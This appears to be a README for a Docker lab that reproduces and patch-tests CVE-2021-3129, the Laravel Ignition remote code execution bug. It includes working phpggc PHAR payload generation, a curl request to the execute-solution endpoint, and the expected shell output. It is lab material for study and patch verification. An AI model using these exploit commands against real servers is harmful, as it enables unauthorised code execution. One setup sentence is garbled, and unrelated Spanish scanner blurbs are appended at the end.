
Docker-based reproduction and patch verification lab for CVE-2021-3129, the unauthenticated Laravel Ignition RCE, including PHAR payload generation and exploit scripts.
This repository contains the reproduction environment and documentation for CVE-2021-3129, a critical Remote Code Execution vulnerability in Laravel's Ignition debug package (versions < 2.5.2).
CVE: CVE-2021-3129 CVSS Score: 9.8 (Critical) Affected software: facade/ignition < 2.5.2, Laravel < 8.4.3 Vulnerability type: Unauthenticated Remote Code Execution Discovered by: Ambionics Security (January 2021)
CVE-2021-3129/ ├── docker/ │ ├── docker-compose.yml # Vulnerable environment (port 8000) │ └── docker-compose-patched.yml # Patched environment (port 8001) ├── exploit/ │ ├── phpggc/ # PHAR payload generator │ ├── CVE-2021-3129_exploit/ # Exploit script │ └── laravel-exploits/ # Ambionics exploit scripts ├── screenshots/ # Step-by-step documentation ├── diary.md # Work log └── README.md # This file
platform: linux/amd64 for MySQL 5.7 compatibility. No changes needed.platform: linux/amd64
line from both compose files before running.cd docker
docker compose up -d
The vulnerable Laravel application (Ignition 2.5.1) will be available at http://localhost:8000
docker cp exploit/phpggc docker-app-1:/tmp/phpggc
docker exec -it docker-app-1 bash
php -d phar.readonly=0 /tmp/phpggc/phpggc Monolog/RCE1 system id \
--phar phar -o /tmp/exploit.phar
curl -s http://localhost/_ignition/execute-solution \
-H 'Content-Type: application/json' \
-d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{"variableName":"username",
"viewFile":"phar:///tmp/exploit.phar/test.txt"}}'
Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cd docker
docker compose -f docker-compose-patched.yml up -d
The patched application will be available at http://localhost:8001
docker exec -it docker-app-1 bash
composer self-update --2
composer require facade/ignition:2.5.2
Repeat Steps 2-4 from above against http://localhost:8001
Expected output: none — the exploit is blocked by the patch.

Encuentra vulnerabilidades, configuraciones incorrectas, secretos, SBOM en contenedores, Kubernetes, repositorios de código, nubes y más

Un escáner de vulnerabilidades para imágenes de contenedores y sistemas de archivos.

Herramienta CLI y biblioteca para generar una Lista de Materiales de Software a partir de imágenes de contenedores y sistemas de archivos